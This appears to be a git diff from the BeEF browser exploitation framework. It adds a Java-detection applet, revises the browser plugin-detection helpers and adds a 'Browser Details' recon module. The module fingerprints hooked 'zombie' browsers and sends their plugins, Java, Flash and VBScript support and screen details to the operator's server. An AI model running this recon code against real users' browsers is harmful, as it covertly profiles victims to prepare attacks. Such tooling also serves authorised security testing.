diff --git a/demos/jvc.class b/demos/jvc.class new file mode 100644 index 000000000..d2037932e Binary files /dev/null and b/demos/jvc.class differ diff --git a/demos/jvc.java b/demos/jvc.java new file mode 100644 index 000000000..8b806365c --- /dev/null +++ b/demos/jvc.java @@ -0,0 +1,28 @@ +import java.applet.Applet; + +public class jvc extends Applet +{ + private String m_ver; + private String m_ven; + + public void init() + { + m_ver = System.getProperty("java.version"); + m_ven = System.getProperty("java.vendor"); + } + + public boolean isRunning() + { + return true; + } + + public String getVersion() + { + return m_ver; + } + + public String getVendor() + { + return m_ven; + } +} diff --git a/modules/beefjs/browser.js b/modules/beefjs/browser.js index bdf05c3f1..ea4ad99c1 100644 --- a/modules/beefjs/browser.js +++ b/modules/beefjs/browser.js @@ -243,21 +243,18 @@ beef.browser = { */ hasJava: function() { if(window.navigator.javaEnabled()) { - //Java is switched on in the browser, now need to detect whether or not its installed - if (document.getElementsByTagName("head")[0]) + var jvc = document.createElement('applet'); + var running = false; + jvc.id = 'beef_jvc'; + jvc.classid = 'jvc.class'; + if (document.body.appendChild(jvc)) { - var ns = document.createElement('script'); - ns.type = 'text/javascript'; - ns.src = 'http://java.com/js/deployJava.js'; - document.getElementsByTagName('head')[0].appendChild(ns); - if (deployJava && deployJava.versionCheck) - { - try { - return deployJava.versionCheck('0.1+'); - } catch (e) {} - - } + try { + running = jvc.isRunning(); + } catch (e) {} + document.body.removeChild(jvc); } + return running; } return false; }, @@ -281,18 +278,16 @@ beef.browser = { */ getPlugins: function() { var results = ''; - - if (navigator.plugins && navigator.plugins.length > 0) { - var pluginsArrayLength = navigator.plugins.length; - - for (pluginsArrayCounter=0; pluginsArrayCounter < pluginsArrayLength; pluginsArrayCounter++ ) { - results += navigator.plugins[pluginsArrayCounter].name; - if(pluginsArrayCounter < pluginsArrayLength-1) { - results += String.fromCharCode(10); - } - } - } - + if (navigator.plugins && navigator.plugins.length > 0) + { + var length = navigator.plugins.length; + for (var i=0; i < length; i++) + { + if (i != 0) + results += ','; + results += navigator.plugins[i].name; + } + } return results; }, diff --git a/modules/commands/recon/detect_plugins/detect_plugins.js b/modules/commands/recon/detect_plugins/detect_plugins.js new file mode 100644 index 000000000..af62c4b84 --- /dev/null +++ b/modules/commands/recon/detect_plugins/detect_plugins.js @@ -0,0 +1,11 @@ +beef.execute(function() { + var plugins = beef.browser.getPlugins(); + var browser_type = JSON.stringify(beef.browser.type()); + var java_enabled = (beef.browser.hasJava())? "Yes" : "No"; + var vbscript_enabled = (beef.browser.hasVBScript())? "Yes" : "No"; + var has_flash = (beef.browser.hasFlash())? "Yes" : "No"; + var screen_params = JSON.stringify(beef.browser.getScreenParams()); + var window_size = JSON.stringify(beef.browser.getWindowSize()); + + beef.net.sendback('<%= @command_url %>', <%= @command_id %>, 'plugins='+plugins+'&java_enabled='+java_enabled+'&vbscript_enabled='+vbscript_enabled+'&has_flash='+has_flash+'&browser_type='+browser_type+'&screen_params='+screen_params+'&window_size='+window_size); +}); \ No newline at end of file diff --git a/modules/commands/recon/detect_plugins/detect_plugins.rb b/modules/commands/recon/detect_plugins/detect_plugins.rb new file mode 100644 index 000000000..019cd5914 --- /dev/null +++ b/modules/commands/recon/detect_plugins/detect_plugins.rb @@ -0,0 +1,43 @@ +module BeEF +module Modules +module Commands + +class Detect_plugins < BeEF::Command + + def initialize + super({ + 'Name' => 'Browser Details', + 'Description' => %Q{ + This module will retrieve the selected zombie browser plugins, browser type + and scripting engines, plus screen dimensions.' + }, + 'Category' => 'Recon', + 'Author' => ['wade','vo','passbe'], + 'File' => __FILE__, + 'Target' => { + 'browser_name' => BeEF::Constants::Browsers::ALL + } + }) + use 'beef.dom' + use_template! + end + + def callback + content = {} + content['Plugins'] = @datastore['plugins'] + content['Browser type'] = @datastore['browser_type'] + content['Java enabled'] = @datastore['java_enabled'] + content['VBscript enabled'] = @datastore['vbscript_enabled'] + content['Has Flash'] = @datastore['has_flash'] + content['Screen Parameters'] = @datastore['screen_params'] + content['Window Size'] = @datastore['window_size'] + + save content + #update_zombie! + end + +end + +end +end +end \ No newline at end of file